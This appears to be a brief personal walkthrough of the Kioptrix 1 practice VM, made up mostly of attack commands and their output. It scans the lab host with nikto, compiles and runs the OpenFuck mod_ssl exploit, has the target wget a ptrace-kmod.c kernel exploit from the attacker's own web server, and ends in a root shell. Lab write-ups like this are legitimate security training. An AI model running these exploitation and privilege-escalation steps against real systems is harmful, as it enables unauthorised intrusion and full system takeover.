# Kioptrix 1

`nikto --host http://192.168.229.137`

>>Apache httpd 1.3.20 ((Unix)  >>mod_ssl/2.8.4 >> exploitdb

`searchsploit 47080`

`apt-get install libssl-dev`

`gcc -o OpenFuck 47080.c -lcrypto`

`./OpenFuck`

`./OpenFuck 0x6a 192.168.229.137 -c 40-50`

`./OpenFuck 0x6b 192.168.229.137 -c 40-50`

>> download from `https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c`

a terminal here in the download folder >>

`ifconfig`

`python3 -m http.server`

`./OpenFuck 0x6b 192.168.229.137 -c 40-50`

`wget` `http://192.168.229.131:8000/ptrace-kmod.c`

`gcc -o exploit ptrace-kmod.c -B /usr/bin`

`./exploit`

```
[+] Now wait for suid shell...
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
cd /root
ls
anaconda-ks.cfg
ls -la
```